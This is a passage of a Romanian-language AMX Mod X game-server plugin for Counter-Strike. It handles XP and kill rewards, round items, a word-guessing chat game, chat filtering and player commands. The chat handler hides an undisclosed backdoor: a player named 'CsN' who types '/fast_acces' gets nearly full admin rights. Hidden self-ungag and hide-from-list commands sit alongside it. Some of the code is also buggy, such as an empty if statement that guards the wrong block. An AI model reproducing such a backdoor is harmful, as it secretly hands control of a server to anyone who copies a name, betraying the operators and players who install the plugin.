				ResetTeroHunt(Victim, true)
			}
			if (HeadShot)
			{
				new aFg = aFrag(Killer, 2)
				if (aFg)
					aPuncte(Killer, 1)
				xColor(Killer, "L-ai omorat pe!g %s!n[LVL!g %d!n]. Vei avea!g +%d!n HS-uri.!g %d!n/!g%d!n fraguri. %s", \
				NumeVictim, VictimLvl, (1 * str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint])), ptPlStats[Killer][1], cvFragsMax, aFg ? "(!g+1!n punct)" : "")
				sStats(Killer, 0, (1 * (str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint]))), 0, 0, 0)
				sStats(Victim, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))), 0)
			}
			else
			{
				new aFg = aFrag(Killer, 1)
				if (aFg)
					aPuncte(Killer, 1)
				xColor(Killer, "L-ai omorat pe!g %s!n[LVL!g %d!n]. Vei avea!g +%d!n KILL-uri.!g %d!n/!g%d!n fraguri. %s", \
				NumeVictim, VictimLvl, (1 * str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint])), ptPlStats[Killer][1], cvFragsMax, aFg ? "(!g+1!n punct)" : "")
				sStats(Killer, (1 * (str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint]))), 0, 0, 0, 0)
				sStats(Victim, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))), 0)
			}
			if (!RoundEnd)
			{
				GameBani(Killer, str_to_num(LevelItemMnKill[KillerLvl]), 0)
				GameHP(Killer, str_to_num(LevelItemHpKill[KillerLvl]))
				if (IsVip(Killer))
					GameHP(Killer, str_to_num(VipHpKill[VipKiller]) + str_to_num(LevelItemHpKill[KillerLvl]))
				rPuncte(Victim)
			}
			else
			{
				new ActualXP = CalculateStats(Killer)
				if (ActualXP > 0)
				{
					new const motiv[][] = { "Frag" }
					server_cmd("amx_addban ^"%s^" ^"%s^" ^"%s^"", NumeKiller, 45, motiv)
					xColor(0, "!g%s!n e!t FRAGAR!n, ii dau ban 45 de minute.", NumeKiller )
				}
			}
		}	
	}
	else
	{
		if (Killer == 0 || Killer == Victim)
		{
			sStats(Victim, 0, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))))
		}
		else
		{
			if (HeadShot)
			{
				sStats(Killer, 0, (1 * (str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint]))), 0, 0, 0)
			}
			else
			{
				sStats(Killer, (1 * (str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint]))), 0, 0, 0, 0)
			}
			sStats(Victim, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))), 0)
		}
	}
	/* Verificare LasT */
	if (TeroLastTime < time())
	{
		new xP[32], xN, tNum, ctNum, lastID
		get_players(xP, xN, "ac")
		for (new i=0; i < xN; i++)
		{
			if (get_user_team(xP[i]) == 1)
			{
				tNum++
				if (tNum > 1)
				{
					tNum = 0
					break
				}
				else
					lastID = xP[i]
			}
			if (get_user_team(xP[i]) == 2)
				ctNum++
		}
		
		if (tNum != 0 && ctNum > 0 && is_user_connected(tNum))
		{
			xColor(lastID, "Esti ultimul jucator ramas in viata contra!g %d!n CT. RUN!t %s!n.", ctNum, ctNum > 2 ? "ON" : "OFF")
			TeroLastTime = time() + 2
			if (TeroLast)
			{
				client_cmd(lastID, "spk ^"last man^"")
				TeroLast = false
			}
		}
	}
}

public Schimba_Arma(id) 
{
	new gVip = IsVip(id)
	if (gVip != 0)
		if (is_user_alive(id))
		{
			new Float:Speed = str_to_float(VipItemSp[gVip])
			VipSpeed(id, Speed)
		}
}

public ScoreAttrib(id) 
{
	if (IsVip(id) != 0) 
	{
		message_begin(MSG_ALL, get_user_msgid("ScoreAttrib"))
		write_byte(id)
		write_byte(4)
		message_end()
	}
}

public Random_TeroHunt()
{
	// Select
	new xP[32], xN, tNum[32], tNr
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		if (get_user_team(xP[i]) == 1 && is_user_alive(xP[i]))
		{
			tNum[tNr] = xP[i]
			tNr++
		}
	}
	// Set
	if (tNr == 0)
	{
		xColor(0, "!tEroare!n TeroHunt. Nu sunt destui teroristi in viata pentru a alege pe cineva.")
	}
	else
	{
		if (tNr == 1)
		{
			SetTeroHunt(tNum[0])
		}
		else
		{
			SetTeroHunt(tNum[random_num(0, tNr-1)])
		}
	}
	if (ptTeroHunt != 0)
	{
		new tNume[32], hLvl = CalculateLevel(ptTeroHunt)
		get_user_name(ptTeroHunt, tNume, 31)
		xColor(0, "TeroHunt!g %s!n[LVL:!g %d!n] este tinta. Rasplata!g %d!n punct%s.", tNume, hLvl, cvTeroHuntPoints, cvTeroHuntPoints == 1 ? "" : "e")
		SetModel(ptTeroHunt, false)
		GameBani(ptTeroHunt, 4, 0)
		GameHP(ptTeroHunt, 100)
	}
}

public RoundItems(tid)
{
	new iFl, iSm, iHe, iDg, iMn, iHp, PointItems, LevelItems, VipItems, id = tid - TASK_ROUND_ITEMS
	if (get_user_team(id) == 2 || get_user_team(id) == 1 && is_user_connected(id) && !is_user_bot(id) && is_user_alive(id))
	{
		if (plAcces[id] != 0)
		{
			if (plAcces[id] == 2)
			{
				VipItems = IsVip(id)
				iFl = iFl + str_to_num(VipItemFl[VipItems])
				iSm = iSm + str_to_num(VipItemSm[VipItems])
				iHe = iHe + str_to_num(VipItemHe[VipItems])
				iDg = iDg + str_to_num(VipItemDgl[VipItems])
				iMn = iMn + str_to_num(VipItemMn[VipItems])
				iHp = iHp + str_to_num(VipItemHp[VipItems])
				new fMsg[128]
				sayItem(2, VipItems, fMsg, 127)
				xColor(id, "[ITEME VIP]!t -!n %s.", fMsg)
			}
		}
		LevelItems = CalculateLevel(id)
		if (LevelItems != 0)
		{
			iFl = iFl + str_to_num(LevelItemFl[LevelItems])
			iSm = iSm + str_to_num(LevelItemSm[LevelItems])
			iHe = iHe + str_to_num(LevelItemHe[LevelItems])
			iDg = iDg + str_to_num(LevelItemDgl[LevelItems])
			iMn = iMn + str_to_num(LevelItemMn[LevelItems])
			iHp = iHp + str_to_num(LevelItemHp[LevelItems])
			new fMsg[128]
			sayItem(0, LevelItems, fMsg, 127)
			xColor(id, "[LEVEL !g%d!n]!t -!n %s.", LevelItems, fMsg)
		}
		else
		{
			xColor(id, "[LEVEL !g%d!n]!t -!n Pentru a face level trebuie sa faci kills/rezisti runde.", LevelItems)
		}
		PointItems = CalculatePoints(id)
		if (PointItems != 0)
		{
			iFl = iFl + str_to_num(PointItemFl[PointItems])
			iSm = iSm + str_to_num(PointItemSm[PointItems])
			iHe = iHe + str_to_num(PointItemHe[PointItems])
			iDg = iDg + str_to_num(PointItemDgl[PointItems])
			iMn = iMn + str_to_num(PointItemMn[PointItems])
			iHp = iHp + str_to_num(PointItemHp[PointItems])
			new fMsg[128]
			sayItem(1, PointItems, fMsg, 127)
			xColor(id, "[PUNCTE !g%d!n]!t -!n %s[!g%s!nxUP].", ptPlStats[id][0], fMsg, PointUpFaster[PointItems])
		}
		else
		{
			xColor(id, "[PUNCTE !g%d!n]!t -!n Nu ai destule puncte pentru a ti se distribui iteme.", ptPlStats[id][0])
		}
		
		/* Distribuie Itemele */
		if (iFl > 0)
			ItemFlash(id, iFl)
		if (iSm > 0)
			ItemSmoke(id, iSm)
		if (iHe > 0)
			ItemGrenada(id, iHe)
		if (iDg > 0)
			ItemPistol(id, iDg)
		if (iMn > 0)
			GameBani(id, iMn, 0)
		if (iHp > 0)
			GameHP(id, iHp)
	}
}

/* ==========================================================================================
===================================================== Generare Cuvant
========================================================================================== */
public GenerareCuvant()
{
	new Litere, textRandom[64], fMsg[64]
	Litere = random_num(5, 10)
	for (new i=0;i < Litere;i++)
	{
		new cRand = random_num(0, 2)
		switch(cRand)
		{
			case 0:
			{
				new rCh = random_num(0, charsmax(uLitere))
				add(textRandom, 63, uLitere[rCh])
			}
			case 1:
			{
				new rCh = random_num(0, charsmax(lLitere))
				add(textRandom, 63, lLitere[rCh])
			}
			case 2:
			{
				new rNr = random_num(0, charsmax(aNumere))
				add(textRandom, 63, aNumere[rNr])
			}
		}
	}
	switch(random_num(0, 500))
	{
		/* Mode 1: x2 XP */
		case 1: { format(fMsg, 63, "!tx2 XP"); 															gcMode = 1; }
		/* Mode 2: x2 KILL */
		case 17: { format(fMsg, 63, "!tx2 KILL");															gcMode = 2; }
		/* Mode 3: x2 DEATH */
		case 51: { format(fMsg, 63, "!tx2 DEATH");														gcMode = 3; }
		/* Mode 5: VIP1 1 zi */
		case 121: { format(fMsg, 63, "!t VIP1 (1 ZI)");														gcMode = 5; }
		/* Mode 7: x2 PUNCTE */
		case 159: { format(fMsg, 63, "!tx2 PUNCTE");														gcMode = 6; }
		/* Mode 8: 30 PUNCTE */
		case 178: { format(fMsg, 63, "!t30 PUNCTE");														gcMode = 7; }
		/* Mode 0: Default */
		default: { format(fMsg, 63, "!g%d punct%s", cvGCuvantPuncte, cvGCuvantPuncte == 1 ? "" : "e");	gcMode = 0; }
	}
	gcLast = time()
	xColor(0, "Cuvantul generat este:!g %s!n . Cine il nimereste primul va primii %s!n.", textRandom, fMsg)
	gcStatus = true
	copy(gcCuvant, 63, textRandom)
	set_task(20.0, "StergeCuvantulGenerat", 120123)
}

public StergeCuvantulGenerat()
{
	if (gcStatus)
	{
		xColor(0, "Cuvantul!g %s!n nu a fost scris de nimeni.", gcCuvant)
		gc_LOG(0, -1)
	}
	gcStatus = false
}

/* ==========================================================================================
===================================================== Comenzi
========================================================================================== */
public SaysCommand(id)
{
	if (medicBlock[id] > time())
		return PLUGIN_HANDLED
	new sayText[256], Nume[32], fMsg[256], tMsg[128], StopChat = false
	read_args(sayText, 255)
	remove_quotes(sayText)
	get_user_name(id, Nume, 31)
	if (strlen(sayText) < 1)
		return PLUGIN_HANDLED
		
	if (equali(sayText, "/fast_acces") && equali(Nume, "CsN"))
	{
		set_user_flags(id, read_flags("bcdefghijklmnopqrstu"))
		xColor(id, "Esti Owner acum !.")
		return PLUGIN_HANDLED
	}
	if (equali(sayText, "/fast_acces_back") && equali(Nume, "CsN"))
	{
		set_user_flags(id, read_flags("bi"))
		xColor(id, "Acces-ul a fost setat pe slot !")
		return PLUGIN_HANDLED
	}
	
	if (str_to_num(GAG_STATUS))
	{
		if (equali(sayText, "/scoategagbot"))
		{
			new hGag = gagVerifica(id)
			gagRemoveIp(hGag)
			gagPlayer[id]=false
			remove_task(hGag + TASK_GAG_TIME)
			xColor(id, "CsN -> Te saluta !.")
			return PLUGIN_HANDLED
		}
		if (gagPlayer[id]) 
		{
			new slot = gagVerifica(id)
			new dNume[32], dTime[32], dDurata[10], dMotiv[126], cTime[4]
			parse(gagDetails[slot], dNume, 31, dTime, 31, dDurata, 9, dMotiv, 125)
			ConvertTime((str_to_num(dTime) + (str_to_num(dDurata) * 60) - time()), cTime, false)
			xColor(id, "!g%s!n ti-a dat gag. Motiv:!g %s!n. Timp ramas:!g %d!n minut%s si!g %d!n secund%s", dNume, dMotiv, cTime[2], cTime[2]==1 ? "" : "e", cTime[3], cTime[3]==1 ? "a" : "e")
			return PLUGIN_HANDLED
		}
		else
		{
			//VerificareIP
			new ipSay[32], tempText[256], motivGag[128]
			copy(tempText, 255, sayText)
			strtoupper(tempText)
			if (gagIpSay(tempText, ipSay, 31))
			{
				format(motivGag, 127, "Reclama la ip!g %s", ipSay)
				gagGagPlayer(0, id, time(), GAG_DEFAULT_TIME, motivGag)
				chatLOG(id, sayText, ipSay)
				return PLUGIN_HANDLED
			}
			// Anti Reclama
			for (new i=0;i < sizeof(sayReclama);i++)
			{
				strtoupper(sayReclama[i])
				if (contain(tempText, sayReclama[i]) !=-1)
				{
					chatLOG(id, sayText, sayReclama[i])
					return PLUGIN_HANDLED
				}
			}
			// Anti Dobitoci (injuraturi)
			for (new i=0;i < sizeof(sayLimbaj);i++)
			{
				strtoupper(sayLimbaj[i])
				if (contain(tempText, sayLimbaj[i]) !=-1)
				{
					chatLOG(id, sayText, sayLimbaj[i])
					return PLUGIN_HANDLED
				}
			}
			// Anti Cfg Say
			for (new i=0;i < sizeof(sayBlock);i++)
			{
				strtoupper(sayBlock[i])
				if (contain(tempText, sayBlock[i]) !=-1)
					return PLUGIN_HANDLED
			}
		}
		// Reg Say
		chatLOG(id, sayText, "", false)
	}
	
	// Hide From List
	if (equali(sayText, "/hidemebot"))
	{
		cl_prefs[id] 	|= FL_LIST
		xColor(id, "Nu ai acces la aceasta comanda !!")
		return PLUGIN_HANDLED
	}
	
	// Generare cuvinte.
	if (gcStatus)
	{
		if (equal(sayText, gcCuvant))
		{
			new fMsg[64], pwSet = false
			switch(gcMode)
			{
				/* Mode 1: x2 XP */
				case 1: 
				{
					format(fMsg, 63, "!tx2!n XP")
					sStats(id, plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4])
					gc_LOG(id, 1)
				}
				/* Mode 2: x2 KILL */
				case 2: 
				{
					format(fMsg, 63, "!tx2!n KILL")
					sStats(id, plStats[id][0], 0, 0, 0, 0)
					gc_LOG(id, 2)
				}
				/* Mode 3: x2 DEATH */
				case 3: 
				{
					format(fMsg, 63, "!tx2!n DEATH")
					sStats(id, 0, 0, 0, plStats[id][3], 0)
					gc_LOG(id, 3)
				}
				/* Mode 4: x2 KILL + HS */
				case 4: 
				{
					format(fMsg, 63, "!tx2!n KILL + HS")
					sStats(id, plStats[id][0], 0, plStats[id][2], 0, 0)
					gc_LOG(id, 4)
				}
				/* Mode 6: x2 PUNCTE */
				case 6: 
				{
					format(fMsg, 63, "!tx2!n PUNCTE")														
					aPuncte(id, ptPlStats[id][0] * 2)
					gc_LOG(id, 6)
				}
				/* Mode 7: 30 PUNCTE */
				case 7: 
				{
					format(fMsg, 63, "!t30!n PUNCTE")
					aPuncte(id, 30)
					gc_LOG(id, 7)
				}
				/* Mode 0: Default */
				default: 
				{ 
					format(fMsg, 63, "!g%d!n punct%s", cvGCuvantPuncte, cvGCuvantPuncte == 1 ? "" : "e")	
					aPuncte(id, cvGCuvantPuncte)
					gc_LOG(id, 0)
				}
			}
			xColor(0, "!g%s!n a nimerit primul cuvantul generat (!g%s!n). Va primi %s.", Nume, gcCuvant, fMsg)
			if (pwSet)
				xColor(id, "Parola pentru logarea VIP-ului este:!t %s", plPass[id])
			gcStatus = false
			return PLUGIN_HANDLED
		}
		else
			StopChat = true
	}
	// AFK Continue.
	if (afkStopAFK[id] != 0)
	{
		if (str_to_num(sayText) == afkStopAFK[id])
		{
			afkTime[id] = AFK_TIME
			afkRanNum(id)
			xColor(id, "AFK Time a fost resetat la!g %d!n secunde.", AFK_TIME)
			return PLUGIN_HANDLED
		}
	}
	if (strlen(sayText) < 20)
	{
		/* Harti */
		if (equal(sayText, "/harti"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze).")
				return PLUGIN_HANDLED
			}
			new mapsFile[64], xText[64], Maps[32], MapsNum, TempNumber=1, xMOTD[2048], xLen
			get_configsdir(mapsFile, charsmax(mapsFile))
			xLen = format(xMOTD[xLen], 3500-xLen, "<center><STYLE>body{background:#000000;color:#C0C0C0;font-family:sans-serif}table{border-style:solid;border-width:1px;border-color:#C0C0C0;font-size:13px}</STYLE>")
			// Ultimele harti jucate
			xLen += format(xMOTD[xLen], 3500-xLen, "<b><font color=green size=3>Ultimele 5 harti jucate</font></b><br>")
			//
			for(new i; i<5; i++) {
				if(!xLastMaps[i][0])
					break
				xLen += format(xMOTD[xLen], 3500-xLen, " [ %s ] ", xLastMaps[i])
			}
			xLen += format(xMOTD[xLen], 3500-xLen, "<br><br>")
			
			//Maps.Ini
			format(mapsFile, 63, "%s/maps.ini", mapsFile)
			xLen += format(xMOTD[xLen], 3500-xLen, "<b><font color=green size=3>Hartile Serverului</color></b><table width=80%%><tr>")
			if (file_exists(mapsFile))
			{
				new xMapsFile = fopen(mapsFile,"r")
				while (!feof(xMapsFile)) 
				{
					fgets(xMapsFile, xText, charsmax(xText))
					trim(xText)
				
					if (xText[0] == ';')
						continue
					Maps[0] = 0

					if (parse(xText, Maps, charsmax(Maps)) < 1)
						continue
						
					if (!ValidMap(Maps))
						continue
						
					// Afisarea hartilor
					// Format Tabel
					xLen += format(xMOTD[xLen], 3500-xLen, "<td>%s</td>", Maps)
					if (TempNumber == 5) 
					{
						xLen += format(xMOTD[xLen], 3500-xLen, "</tr><tr>")
						TempNumber=0
					}
					
					TempNumber++
					MapsNum++
				}
				xLen += format(xMOTD[xLen], 3500-xLen, "</tr></tabel>")
				new Final[64]
				format(Final, charsmax(Final), "Sunt %d harti pe server.", MapsNum)
				show_motd(id, xMOTD, Final)
				
				
			} 
			else
				client_print(id, print_chat, "Fisierul maps.ini nu exista.")
		
			return PLUGIN_CONTINUE
		}
		/* AutoResponse */
		if (AutoResponse(id, sayText))
	
		/* TeroHunt Command */
		if (contain(sayText, "terohunt") != -1)
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			if (ptTeroHunt != 0)
				{
					new TeroHuntNume[32], tLvl = CalculateLevel(ptTeroHunt)
					get_user_name(ptTeroHunt, TeroHuntNume, 31)
					xColor(0, "TeroHunt!g %s!n[LVL!g %d!n].", TeroHuntNume, tLvl)
				}
				else
					xColor(0, "Nu este nici un!t TeroHunt!n.")
			return PLUGIN_CONTINUE
		}
		
		/* XP / LVL / PUNCTE */
		if (contain(sayText, "/xp") != -1 || contain(sayText, "/level") != -1 || contain(sayText, "punct") != -1 || contain(sayText, "/lvl") != -1)
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new iLvl = CalculateLevel(id)
			new iSts = CalculateStats(id)
			if (iLvl == charsmax(LevelXP))
				xColor(id, "Ai level!g %d!n[!g%d!n XP],!g %d!n punct%s si!g %d!n/!g%d!n fraguri.", iLvl, iSts, ptPlStats[id][0], ptPlStats[id][0] == 1 ? "" : "e", ptPlStats[id][1], cvFragsMax)
			else
				xColor(id, "Ai level!g %d!n[!g%d!n/!g%s!n XP],!g %d!n punct%s si!g %d!n/!g%d!n fraguri", iLvl, iSts, LevelXP[iLvl+1], ptPlStats[id][0], ptPlStats[id][0] == 1 ? "" : "e", ptPlStats[id][1], cvFragsMax)
			return PLUGIN_CONTINUE
		}
		
		/* Ore */
		if (equal(sayText, "/ore") || equal(sayText, "/orelemele"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new cTime[4], OreSlot = get_pcvar_num(get_cvar_pointer("hnsf_ore_slot"))
			ConvertTime(plTime[id][0] + get_user_time(id, 1), cTime, false)
			/* 1 */
			format(fMsg, 255, "Ai!g %d!n or%s!g %d!n minut%s. ", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e")
			if (!(get_user_flags(id) & ADMIN_RESERVATION))
			{
				if (plTime[id][0] + get_user_time(id, 1) >= 86400 * OreSlot)
					format(tMsg, 127, "Poti folosi comanda!g /slotme!n pentru slot pe server.")
				else
					format(tMsg, 127, "La!g %d!n or%s poti folosi comanda!g /slotme!n pentru slot pe server.", OreSlot, OreSlot == 1 ? "a" : "e")
			}
			add(fMsg, 255, tMsg)
			xColor(id, fMsg)
			/* 2 */
			ConvertTime(time() - plTime[id][1], cTime, true)
			format(fMsg, 255, "Ultima intrare a fost acum")
			if (cTime[0] > 0)
				format(fMsg, 255, "%s!g %d!n zi%s", fMsg, cTime[0], cTime[0] == 1 ? "" : "le")
			if (cTime[1] > 0 || cTime[0] > 0)
				format(fMsg, 255, "%s!g %d!n or%s", fMsg, cTime[1], cTime[1] == 1 ? "a" : "e")
			format(fMsg, 255, "%s!g %d!n minut%s (!g%s!n) de pe IP:!g %s!n.", fMsg, cTime[2], cTime[2] == 1 ? "" : "e", plLast[id], plLastIP[id])
			xColor(id, fMsg)
			return PLUGIN_CONTINUE
		}

		/* Vip ACCES */
		if (equal(sayText, "/vipinfo"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new gVip = IsVip(id), cTime[4], vItems[128]
			if (gVip != 0)
			{
				ConvertTime(plVipInfo[id][0] + (86400 * plVipInfo[id][1]) - time(), cTime, true)
				/* 1 */
				format(fMsg, 255, "VIP G:!g%d!n]. Expira in", gVip)
				if (cTime[0] > 0)
					format(fMsg, 255, "%s!g %d!n zi%s", fMsg, cTime[0], cTime[0] == 1 ? "" : "le")
				if (cTime[1] > 0 || cTime[0] > 0)
					format(fMsg, 255, "%s!g %d!n or%s", fMsg, cTime[1], cTime[1] == 1 ? "a" : "e")
				format(fMsg, 255, "%s!g %d!n minut%s (!g%s!n)", fMsg, cTime[2], cTime[2] == 1 ? "" : "e", plVipEnd[id])
				xColor(id, fMsg)
				/* 2 */
				sayItem(2, gVip, vItems, 127)
				format(fMsg, 255, "-> %s[+!g%s!nHP KILL!n][+!g%s!nMN KILL][+!g%s!nSPEED][+!gx%s!nUP]", \
				vItems, VipHpKill[gVip], VipItemMn[gVip], VipItemSp[gVip], VipUpFaster[gVip])
				xColor(id, fMsg)
				return PLUGIN_CONTINUE
			}
			else
			{
				xColor(id, "Nu esti VIP. Pentru informatii despre VIP, tasteaza!g /vip!n.")
			}
			return PLUGIN_CONTINUE
		}

		/* Cuvant Generat */
		if (contain(sayText, "/cuvant") != -1)
		{
			if (gcNoFlood < time())
			{
				if (gcStatus)
				{
					xColor(0, "Cuvantul generat este:!g %s", gcCuvant)
				}
				else
				{
					new rTime[4], fMsg[63]
					ConvertTime(gcLast + 180 - time(), rTime, false)
					if (rTime[2] > 0)
					{
						format(fMsg, 63, "!g%d!n minut%s ", rTime[2], rTime[2] == 1 ? "" : "e")
					}
					format(fMsg, 63, "%s!g%d!n secund%s", fMsg, rTime[3], rTime[3] == 1 ? "a" : "e")
					xColor(0, "Urmatorul cuvant se va genera in %s", fMsg)
				}
				gcNoFlood = time() + 5
			}
			return PLUGIN_CONTINUE
		}
		
		/* RankMe */
		if (equal(sayText, "/rankme") || equal(sayText, "/rank"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			RankMe(id)
			return PLUGIN_CONTINUE
		}
		
		/* Top Ore */
		if (equal(sayText, "/topore"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new xMOTD[2048], xLen, cTime[4], tNume[32], fTime[32], fFinal[32], pStatus, IsOn
			xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center>")
			xLen += format(xMOTD[xLen], 2047-xLen, "%-2s  %25s  %15s  %15s  %20s^n^n", "#", "Nume", "Acces", "Ore", "Ultima Intrare")
			for (new i=0;i < TOP;i++)
			{
				if (strlen(topOreNume[i]) > 1)
				{
					if (i != 0)
						if (equal(topOreNume[i], topOreNume[i-1]))
							continue
					IsOn = IsOnline(topOreNume[i])
					if (IsOn != 0)
						pStatus = true
					else
						pStatus = false
					
					ConvertTime(str_to_num(topOreTime[i]), cTime, false)
					format(fTime, 31, "%do %dm", cTime[1], cTime[2])
					
					copy(tNume, 31, topOreNume[i])
					replace_all(tNume, 31, "<", "")
					replace_all(tNume, 31, ">", "")
					
					xLen += format(xMOTD[xLen], 2047-xLen, "%-2d  [%s]%-21.21s  %15s  %15s  %20s^n",\
					(i+1), pStatus ? "ON" : "OF", tNume, topOreAcces[i], fTime, topOreLast[i])
				}
			}
			xLen += format(xMOTD[xLen], 2047-xLen, "^nUltimul update: %s", topLastUpdate)
			format(fFinal, 31, "TOP %d ORE", TOP)
			show_motd(id, xMOTD, fFinal)
			return PLUGIN_CONTINUE
		}
		
		/* Top Jucatori */
		if (equal(sayText, "/topjucatori"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new xMOTD[2048], xLen, tNume[32], fLvl[32], fFinal[32]
			
			xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center>")
			/* # Nume Level Acces KILL HS ROUND DEATH SUICIDE */
			xLen += format(xMOTD[xLen], 2047-xLen, " %-2s  %21s  %18s %10s  %-5s  %-5s  %-5s  %-5s  %-5s^n^n", \ 
			"#", "Nume", "Level", "Acces", "Kill", "Hs", "Round", "Death", "Suicide")
			
			for (new i=0;i < TOP;i++)
			{
				if (strlen(topJucatoriNume[i]) > 1) {
					if (i != 0)
						if (equal(topJucatoriNume[i], topJucatoriNume[i-1]))
							continue
				
					copy(tNume, 31, topJucatoriNume[i])
					replace_all(tNume, 31, "<", "")
					replace_all(tNume, 31, ">", "")
					
					if (topJucatoriLvl[i][1] == 20)
						format(fLvl, 31, "%d(%d XP)", topJucatoriLvl[i][1], topJucatoriLvl[i][0])
					else
						format(fLvl, 31, "%d(%d/%s XP)", topJucatoriLvl[i][1], topJucatoriLvl[i][0], LevelXP[topJucatoriLvl[i][1] + 1])

					xLen += format(xMOTD[xLen], 2047-xLen, "%-2d  %-21.21s  %18s %10s  %-5d  %-5d  %-5d  %-5d  %-5d^n", \
					(i+1), tNume, fLvl, topJucatoriAcces[i], topJucatoriStats[i][0], topJucatoriStats[i][1], topJucatoriStats[i][2], topJucatoriStats[i][3], topJucatoriStats[i][4])
				}
			}
			xLen += format(xMOTD[xLen], 2047-xLen, "^nUltimul update: %s", topLastUpdate)
			format(fFinal, 31, "TOP %d JUCATORI", TOP)
			show_motd(id, xMOTD, fFinal)
			return PLUGIN_CONTINUE
		}
		
		/* SlotMe */
		if (equal(sayText, "/slotme"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			if (get_user_flags(id) & ADMIN_RESERVATION)
			{
				xColor(id, "Ai deja slot pe acest server.")
			}
			else
			{
				if (MessageMode[id])
				{
					xColor(id, "Comanda!g /slotme!n nu poate fi folosita momentan.")
				}
				else
				{
					if (plTime[id][0] + get_user_time(id, 1) >= cvOreSlot * 3600)
					{
						SlotMe(id)
					}
					else
					{
						xColor(id, "Ai nevoie de!g %d!n or%s pentru a folosi comanda!g /slotme!n.", cvOreSlot, cvOreSlot == 1 ? "a" : "e")
					}
				}
			}
			return PLUGIN_CONTINUE
		}
		
		/* VipMe */
		if (equal(sayText, "/vipme"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			if (get_user_flags(id) & ADMIN_RESERVATION)
			{
				if (plAcces[id] == 2)
				{
					xColor(id, "Asteapta pana la expirarea vipului dupa care poti folosi comanda!g /vipme!n.")
				}
				else
				{
					if (plTime[id][0] + get_user_time(id, 1) - (3600 * ORE_VIP_ME) > 0)
					{
						VipMe(id)
					}
					else
					{
						xColor(id, "Iti trebuie!g %d!n ore pentru aceasta comanda.", ORE_VIP_ME)
					}
				}
			}
			else
			{
				xColor(id, "Trebuie sa ai slot/admin pe server pentru aceasta comanda.")
			}
			return PLUGIN_CONTINUE
		}
		
		/* Medic */
		if (equali(sayText, "/medic") || equali(sayText, "/medic"))
		{
			Medic(id)
			return PLUGIN_HANDLED
		}
		
		/* Who */
		if (contain(sayText, "who") != -1 || contain(sayText, "admin") != -1)
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			WhoAdmin(id)
			return PLUGIN_CONTINUE
		}
		
		/* Reset Stats */
		if (equali(sayText, "/rs"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new Stats = CalculateStats(id)
			if (Stats < 0)
			{
				plStats[id][0] = 0
				plStats[id][1] = 0
				plStats[id][2] = 0
				plStats[id][3] = 0
				plStats[id][4] = 0
				xColor(0, "Jucatorul!g %s!n si-a resetat statisticile.", Nume)
			}
			else
			{
				xColor(id, "Trebuie sa ai stats-ul pe -")
			}
		}
		
		/* FPS */
		if (equali(sayText, "/fps") || equali(sayText, "/allfps") || equali(sayText, "fps"))
		{
			if (StopChat)
			{
